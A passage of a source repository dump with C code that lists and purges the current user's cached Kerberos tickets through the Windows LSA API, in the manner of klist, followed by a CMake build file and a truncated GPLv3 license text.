TicketFlags ) { LONG Flags = TicketFlags; _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_RESERVED, L"reserved "); _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_FORWARDABLE, L"fowardable "); _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_FORWARDED, L"forwarded "); _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_PROXIABLE, L"proxiable "); _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_PROXY, L"proxy "); _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_MAY_POSTDATE, L"may_postdated "); _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_POSTDATED, L"postdated "); _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_INVALID, L"invalid "); _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_RENEWABLE, L"renewable "); _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_INITIAL, L"initial "); _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_PRE_AUTHENT, L"pre_authent "); _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_HW_AUTHENT, L"hw_authent "); _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_OK_HAS_DELEGATE, L"ok_has_delegate "); _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_NAME_CANONICALIZE, L"name_canonicalize "); _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_NAME_RESERVED1, L"reserved1 "); printf("\r\n"); } /// /// Display Kerberos ticket cache information. /// /// Cache flags VOID PrintCacheFlags( _In_ CONST ULONG CacheFlags ) { ULONG Flags = CacheFlags; _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_CACHE_FLAGS_PRIMARY, L"PRIMARY "); _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_CACHE_FLAGS_DELEGATION, L"DELEGATION "); _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_CACHE_FLAGS_S4U, L"S4U "); _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_CACHE_FLAGS_ASC, L"ASC "); _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_CACHE_FLAGS_ENC_IN_SKEY, L"ENC-IN-SKEY "); _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_CACHE_FLAGS_X509, L"X509 "); _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_CACHE_FLAGS_FAST, L"FAST "); _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_CACHE_FLAGS_COMPOUND, L"COMPOUND "); _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_CACHE_FLAGS_HUB_PRIMARY, L"HUB-PRINARY "); _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_CACHE_FLAGS_DISABLE_TGT_DELEGATION, L"DISABLE-TGT-DELEGATION "); printf("\r\n"); } /// /// Display kerberos ticket time. /// /// Output prefix /// Time VOID PrintTime( _In_ CONST WCHAR* Prefix, _In_ CONST LARGE_INTEGER Time ) { FILETIME LocalFileTime = { 0x00 }; FileTimeToLocalFileTime(&Time.QuadPart, &LocalFileTime); SYSTEMTIME SystemTime = { 0x00 }; FileTimeToSystemTime(&LocalFileTime, &SystemTime); wprintf(L"%s", Prefix); wprintf(L"%ld/%ld/%ld %ld:%2.2ld:%2.2ld (local)\r\n", SystemTime.wMonth, SystemTime.wDay, SystemTime.wYear, SystemTime.wHour, SystemTime.wMinute, SystemTime.wSecond ); } VOID ShowTicket3( _In_ CONST PKERB_QUERY_TKT_CACHE_EX3_RESPONSE Response ) { printf("Cached Tickets: (%d)\n\n", Response->CountOfTickets); HANDLE hProcessHeap = GetProcessHeap(); for (DWORD cx = 0x00; cx < Response->CountOfTickets; cx++) { KERB_TICKET_CACHE_INFO_EX3 Ticket = Response->Tickets[cx]; WCHAR* ClientName = HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, Ticket.ClientName.MaximumLength + 2); WCHAR* ClientRealm = HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, Ticket.ClientRealm.MaximumLength + 2); WCHAR* ServerName = HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, Ticket.ServerName.MaximumLength + 2); WCHAR* ServerRealm = HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, Ticket.ServerRealm.MaximumLength + 2); RtlCopyMemory(ClientName, Ticket.ClientName.Buffer, Ticket.ClientName.MaximumLength); RtlCopyMemory(ClientRealm, Ticket.ClientRealm.Buffer, Ticket.ClientRealm.MaximumLength); RtlCopyMemory(ServerName, Ticket.ServerName.Buffer, Ticket.ServerName.MaximumLength); RtlCopyMemory(ServerRealm, Ticket.ServerRealm.Buffer, Ticket.ServerRealm.MaximumLength); // The ID of the cached ticket wprintf(L"#%d>", cx); // Name of the client and server wprintf(L"\tClient: %ws @ %ws\n", ClientName, ClientRealm); wprintf(L"\tServer: %ws @ %ws\n", ServerName, ServerRealm); // Encryption type of the ticket wprintf(L"\tKerbTicket Encryption Type: "); PrintEType(Ticket.EncryptionType); // Ticket flags and infomration wprintf(L"\tTicket Flags: 0x%08x -> ", Ticket.TicketFlags); PrintTicketFlags(Ticket.TicketFlags); // Timestamps PrintTime(L"\tStart Time: ", Ticket.StartTime); PrintTime(L"\tEnd Time: ", Ticket.EndTime); PrintTime(L"\tRenew Time: ", Ticket.RenewTime); // Session encryption type printf("\tSession Key Type: "); PrintEType(Ticket.SessionKeyType); // Ticket cache flags wprintf(L"\tCache Flags: 0x%08x -> ", Ticket.CacheFlags); PrintCacheFlags(Ticket.CacheFlags); // KDC that provided the ticket WCHAR* KdcCalled = HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, Ticket.KdcCalled.MaximumLength + 2); RtlCopyMemory(KdcCalled, Ticket.KdcCalled.Buffer, Ticket.KdcCalled.MaximumLength); wprintf(L"\tKdc Called: %ws\n\n", KdcCalled); // Cleanup if (ClientName != NULL) HeapFree(hProcessHeap, 0x00, ClientName); if (ClientRealm != NULL) HeapFree(hProcessHeap, 0x00, ClientRealm); if (ServerName != NULL) HeapFree(hProcessHeap, 0x00, ServerName); if (ServerRealm != NULL) HeapFree(hProcessHeap, 0x00, ServerRealm); if (KdcCalled != NULL) HeapFree(hProcessHeap, 0x00, KdcCalled); } } VOID ShowTicket2( _In_ CONST PKERB_QUERY_TKT_CACHE_EX2_RESPONSE Response ) { // List all the tickets printf("Cached Tickets: (%d)\n\n", Response->CountOfTickets); HANDLE hProcessHeap = GetProcessHeap(); for (DWORD cx = 0x00; cx < Response->CountOfTickets; cx++) { KERB_TICKET_CACHE_INFO_EX2 Ticket = Response->Tickets[cx]; WCHAR* ClientName = HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, Ticket.ClientName.MaximumLength + 2); WCHAR* ClientRealm = HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, Ticket.ClientRealm.MaximumLength + 2); WCHAR* ServerName = HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, Ticket.ServerName.MaximumLength + 2); WCHAR* ServerRealm = HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, Ticket.ServerRealm.MaximumLength + 2); RtlCopyMemory(ClientName, Ticket.ClientName.Buffer, Ticket.ClientName.MaximumLength); RtlCopyMemory(ClientRealm, Ticket.ClientRealm.Buffer, Ticket.ClientRealm.MaximumLength); RtlCopyMemory(ServerName, Ticket.ServerName.Buffer, Ticket.ServerName.MaximumLength); RtlCopyMemory(ServerRealm, Ticket.ServerRealm.Buffer, Ticket.ServerRealm.MaximumLength); // The ID of the cached ticket wprintf(L"#%d>", cx); // Name of the client and server wprintf(L"\tClient: %ws @ %ws\n", ClientName, ClientRealm); wprintf(L"\tServer: %ws @ %ws\n", ServerName, ServerRealm); // Encryption type of the ticket wprintf(L"\tKerbTicket Encryption Type: "); PrintEType(Ticket.EncryptionType); // Ticket flags and infomration wprintf(L"\tTicket Flags: 0x%08x -> ", Ticket.TicketFlags); PrintTicketFlags(Ticket.TicketFlags); // Timestamps PrintTime(L"\tStart Time: ", Ticket.StartTime); PrintTime(L"\tEnd Time: ", Ticket.EndTime); PrintTime(L"\tRenew Time: ", Ticket.RenewTime); // Session encryption type printf("\tSession Key Type: "); PrintEType(Ticket.SessionKeyType); // Cleanup if (ClientName != NULL) HeapFree(hProcessHeap, 0x00, ClientName); if (ClientRealm != NULL) HeapFree(hProcessHeap, 0x00, ClientRealm); if (ServerName != NULL) HeapFree(hProcessHeap, 0x00, ServerName); if (ServerRealm != NULL) HeapFree(hProcessHeap, 0x00, ServerRealm); } } VOID ShowTicket1( _In_ CONST PKERB_QUERY_TKT_CACHE_EX_RESPONSE Response ) { // List all the tickets printf("Cached Tickets: (%d)\n\n", Response->CountOfTickets); HANDLE hProcessHeap = GetProcessHeap(); for (DWORD cx = 0x00; cx < Response->CountOfTickets; cx++) { KERB_TICKET_CACHE_INFO_EX Ticket = Response->Tickets[cx]; WCHAR* ClientName = HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, Ticket.ClientName.MaximumLength + 2); WCHAR* ClientRealm = HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, Ticket.ClientRealm.MaximumLength + 2); WCHAR* ServerName = HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, Ticket.ServerName.MaximumLength + 2); WCHAR* ServerRealm = HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, Ticket.ServerRealm.MaximumLength + 2); RtlCopyMemory(ClientName, Ticket.ClientName.Buffer, Ticket.ClientName.MaximumLength); RtlCopyMemory(ClientRealm, Ticket.ClientRealm.Buffer, Ticket.ClientRealm.MaximumLength); RtlCopyMemory(ServerName, Ticket.ServerName.Buffer, Ticket.ServerName.MaximumLength); RtlCopyMemory(ServerRealm, Ticket.ServerRealm.Buffer, Ticket.ServerRealm.MaximumLength); // The ID of the cached ticket wprintf(L"#%d>", cx); // Name of the client and server wprintf(L"\tClient: %ws @ %ws\n", ClientName, ClientRealm); wprintf(L"\tServer: %ws @ %ws\n", ServerName, ServerRealm); // Encryption type of the ticket wprintf(L"\tKerbTicket Encryption Type: "); PrintEType(Ticket.EncryptionType); // Ticket flags and infomration wprintf(L"\tTicket Flags: 0x%08x -> ", Ticket.TicketFlags); PrintTicketFlags(Ticket.TicketFlags); // Timestamps PrintTime(L"\tStart Time: ", Ticket.StartTime); PrintTime(L"\tEnd Time: ", Ticket.EndTime); PrintTime(L"\tRenew Time: ", Ticket.RenewTime); // Cleanup if (ClientName != NULL) HeapFree(hProcessHeap, 0x00, ClientName); if (ClientRealm != NULL) HeapFree(hProcessHeap, 0x00, ClientRealm); if (ServerName != NULL) HeapFree(hProcessHeap, 0x00, ServerName); if (ServerRealm != NULL) HeapFree(hProcessHeap, 0x00, ServerRealm); } } INT main() { // 1. Get LUID informaiton HANDLE hProcessHandle = GetCurrentProcess(); HANDLE hTokenHandle = INVALID_HANDLE_VALUE; BOOL Result = OpenProcessToken(hProcessHandle, 0x2000000u, &hTokenHandle); TOKEN_STATISTICS Statistics = { 0x00 }; DWORD dwReturnedLength = 0x00; Result = GetTokenInformation(hTokenHandle, TokenStatistics, &Statistics, sizeof(TOKEN_STATISTICS), &dwReturnedLength); if (!Result) { CloseHandle(hTokenHandle); return EXIT_FAILURE; } wprintf(L"Current LogonId is %d:0x%08x\n", Statistics.ModifiedId.HighPart, Statistics.ModifiedId.LowPart ); CloseHandle(hTokenHandle); // 2. Connect to LSA and get the package ID NTSTATUS Status = STATUS_SUCCESS; HANDLE hLsaHandle = INVALID_HANDLE_VALUE; ULONG AuthPackageKerberos = 0x00; Status = GetLsaHandleAndPackageId(&hLsaHandle, &AuthPackageKerberos); if (NT_ERROR(Status)) return EXIT_FAILURE; // 3. Get the tickets NTSTATUS PackageStatus = STATUS_SUCCESS; ULONG ulBufferSize = 0x00; LPVOID CacheResponse = NULL; KERB_QUERY_TKT_CACHE_REQUEST CacheRequest = { 0x00 }; CacheRequest.MessageType = KerbQueryTicketCacheEx3Message; CacheRequest.LogonId.LowPart = 0x00; CacheRequest.LogonId.HighPart = 0x00; Status = LsaCallAuthenticationPackage( hLsaHandle, AuthPackageKerberos, &CacheRequest, sizeof(KERB_QUERY_TKT_CACHE_REQUEST), &CacheResponse, &ulBufferSize, &PackageStatus ); if (Status == STATUS_NOT_SUPPORTED) { CacheRequest.MessageType = KerbQueryTicketCacheEx2Message; Status = LsaCallAuthenticationPackage( hLsaHandle, AuthPackageKerberos, &CacheRequest, sizeof(KERB_QUERY_TKT_CACHE_REQUEST), &CacheResponse, &ulBufferSize, &PackageStatus ); if (Status == STATUS_NOT_SUPPORTED) { CacheRequest.MessageType = KerbQueryTicketCacheExMessage; Status = LsaCallAuthenticationPackage( hLsaHandle, AuthPackageKerberos, &CacheRequest, sizeof(KERB_QUERY_TKT_CACHE_REQUEST), &CacheResponse, &ulBufferSize, &PackageStatus ); if (!NT_SUCCESS(Status)) return EXIT_FAILURE; else ShowTicket1(CacheResponse); } else { ShowTicket2(CacheResponse); } } else { ShowTicket3(CacheResponse); } // x. Cleanup and exit exit: if (CacheResponse != NULL) LsaFreeReturnBuffer(CacheResponse); LsaDeregisterLogonProcess(hLsaHandle); return EXIT_SUCCESS; } ================================================ FILE: Kerberos/Purge/CMakeLists.txt ================================================ # @file CMakeLists.txt # @author Paul L. (@am0nsec) # @version 1.0 # @brief Kerberos purge tickets. # @details # @link https://github.com/am0nsec/wspe # @copyright This project has been released under the GNU Public License v3 license. add_executable(pkpurge "src/main.c" ) set_property(TARGET pkpurge PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded$<$:Rlease>" ) ================================================ FILE: Kerberos/Purge/src/main.c ================================================ #include #include #include #pragma comment(lib, "ntdll.lib") #pragma comment(lib, "Secur32.lib") #define STATUS_SUCCESS 0x00000000 #define STATUS_PRIVILEGE_NOT_HELD 0xC0000061 #define STATUS_NOT_SUPPORTED 0xC00000BB #define STATUS_NO_TOKEN 0xC000007C #ifndef NT_ERROR #define NT_ERROR(Status) ((((ULONG)(Status)) >> 30) == 3) #endif #ifndef NT_SUCCESS #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) #endif /// /// Get an handle to the LSA process via untrusted connection and retrive the "Kerberos" authentication package ID. /// /// Pointer to the LSA handle /// Pointer to the authentication package ID. /// Whether the function was successful NTSTATUS GetLsaHandleAndPackageId( _Out_ PHANDLE phLsaHandle, _Out_ PULONG pAuthenticationPackage ) { NTSTATUS Status = STATUS_SUCCESS; Status = LsaConnectUntrusted(phLsaHandle); if (NT_ERROR(Status)) return Status; LSA_STRING PackageName = { 0x00 }; RtlInitString(&PackageName, "Kerberos"); return LsaLookupAuthenticationPackage(*phLsaHandle, (PLSA_STRING)&PackageName, pAuthenticationPackage); } INT main() { // 1. Get LUID informaiton HANDLE hProcessHandle = GetCurrentProcess(); HANDLE hTokenHandle = INVALID_HANDLE_VALUE; BOOL Result = OpenProcessToken(hProcessHandle, 0x2000000u, &hTokenHandle); TOKEN_STATISTICS Statistics = { 0x00 }; DWORD dwReturnedLength = 0x00; Result = GetTokenInformation(hTokenHandle, TokenStatistics, &Statistics, sizeof(TOKEN_STATISTICS), &dwReturnedLength); if (!Result) { CloseHandle(hTokenHandle); return EXIT_FAILURE; } wprintf(L"Current LogonId is %d:0x%08x\n", Statistics.ModifiedId.HighPart, Statistics.ModifiedId.LowPart ); CloseHandle(hTokenHandle); // 2. Connect to LSA and get the package ID NTSTATUS Status = STATUS_SUCCESS; HANDLE hLsaHandle = INVALID_HANDLE_VALUE; ULONG AuthPackageKerberos = 0x00; Status = GetLsaHandleAndPackageId(&hLsaHandle, &AuthPackageKerberos); if (NT_ERROR(Status)) return EXIT_FAILURE; // 3. Purge all tickets wprintf(L"\tDeleting all tickets:"); NTSTATUS PackageStatus = STATUS_SUCCESS; KERB_PURGE_TKT_CACHE_REQUEST PurgeRequest = { 0x00 }; PurgeRequest.MessageType = KerbPurgeTicketCacheMessage; PurgeRequest.LogonId.LowPart = 0x00; PurgeRequest.LogonId.HighPart = 0x00; PVOID PurgeResponse = NULL; ULONG ulBufferSize = 0x00; Status = LsaCallAuthenticationPackage( hLsaHandle, AuthPackageKerberos, &PurgeRequest, sizeof(KERB_PURGE_TKT_CACHE_REQUEST), &PurgeResponse, &ulBufferSize, &PackageStatus ); if (NT_SUCCESS(Status) && NT_SUCCESS(PackageStatus)) wprintf(L"Ticket(s) purged!\r\n"); // x. Cleanup and exit exit: LsaDeregisterLogonProcess(hLsaHandle); return EXIT_SUCCESS; } ================================================ FILE: LICENSE ================================================ GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a 